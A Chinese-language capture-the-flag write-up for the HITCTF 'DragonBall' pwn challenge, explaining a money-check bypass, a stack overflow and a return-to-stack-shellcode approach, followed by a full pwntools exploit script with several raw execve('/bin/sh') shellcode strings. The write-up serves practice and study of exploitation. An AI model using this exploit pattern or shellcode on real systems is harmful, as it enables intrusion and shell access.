HITCTF DragonBall WP
    这段时间打算刷下之前哈工大的pwn。今天是第一天,本来打算搞两三道的结果发现一个栈就看了一天,哎果然还是太菜了。
    拿到题目先checksc看发现什么保护都没有开,判断应该是栈,扔ida一审发现他没有check负数,check的逻辑是当钱为0时不能购买Dragonball,但是这里可以通过买-卖-再买使钱数不能被5整除,这样的话就能绕过check进入wish函数。wish函数中有两个输入,其中一个可以溢出,但是只能刚好溢出到ret,一开始觉得rop的话利用起来应该会比较烦,毕竟它能溢出的字节数还是比较少,而且他这里没有开nx,应该是通过写shellcode来getshell。这样想后便往写shellcode上去看,发现可以通过控制ebp来控制wish函数中写入的位置,由于wish函数中两次获取用户输入都是一个ebp,gdb跟了一下发现可以同时控制往bss段和got段写任意值(由于bss段足够大),于是打算复写puts的got为shellcode在bss段的起始地址,这样当wish函数中最后调用puts的时候就回去执行shellcode。完美。
    emmmmm然而利用并没有成功。调了一下发现程序接收输入变成了从输出去接收,也就是read函数的fd变成了1,这样的话构造的字符串程序无法接收,但是这里第一次输入之后会输入目标空间中的值,也就是说这里我们可以得到程序的libc库。然后后来看了一下好像还是无法利用就先放弃了这个方法。
    之后通过之前泄露libc库想到如果wish函数中第一次输入的时候将缓冲区填满,就能泄露ebp,一旦泄露ebp,栈上的所有地址都可以通过泄露的ebp+偏移得到,这时如果我们将shellcode布置在栈上,同时将ret复写为ebp-偏移,使ret指向栈上的那部分shellcode,我们就能getshell了。这里也有很多坑,主要就是程序输出的串没有接收导致进程阻塞之类的,还有就是最好不要去任意改变程序执行流程,这样可能会破坏栈结构,导致一些莫名其妙的问题,最后就是这里用shellcraft生成的shellcode好像不行,只好自己去网上找到能用的shellcode。
这道题应该还有其它的方法,等下次再填坑。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 
 | from pwn import *context(log_level='debug',arch='i386',os='linux')
 p=process('./DragonBall')
 elf=ELF('./DragonBall')
 gdb.attach(p,'''
 break *0x080487C0
 break *0x08048791
 continue
 ''')
 
 def buy():
 p.recvuntil('You choice: ')
 p.sendline('1')
 
 def sell():
 p.recvuntil('You choice: ')
 p.sendline('2')
 
 def list():
 p.recvuntil('You choice: ')
 p.sendline('3')
 
 #def wish():
 #	p.recvuntil('You choice: ')
 #	p.sendline('4')
 #	p.recvuntil('Tell me your wish: ')
 #	p.sendline('a'*0x68)
 #	p.recvuntil('a'*0x68)
 #	a=(u32(p.recv(4)))
 #	p.recvuntil('(Y/N) ')
 #	p.sendline(asm(shellcraft.sh())+(0x3c-len(asm(shellcraft.sh())))*'c'+p32(0x1234))
 #
 #def exit():
 #	p.recvuntil('You choice: ')
 #	p.sendline('5')
 
 buy()
 sell()
 buy()
 buy()
 buy()
 buy()
 buy()
 buy()
 buy()
 p.recvuntil('You choice: ')
 p.sendline('4')
 p.recvuntil('Tell me your wish: ')
 p.sendline('a'*0x67)
 p.recvuntil('a'*0x67)
 a=(u32(p.recv(4)))
 a='0xff'+(hex(a).replace('0x',''))[0:6]
 print a
 a=int(a,16)
 p.recvuntil('(Y/N) ')
 shellcode='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'
 shellcode='jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
 shellcode='\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
 shellcode='\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'
 #shellcode=asm(shellcraft.sh())
 leng=len(shellcode)
 #p.sendline((shellcode)+(0x3c-len((shellcode)))*'c'+p32(0x1234))
 p.sendline(shellcode+'a'*(0x3c-leng)+p32(a-0x58))
 
 p.interactive()
 
 |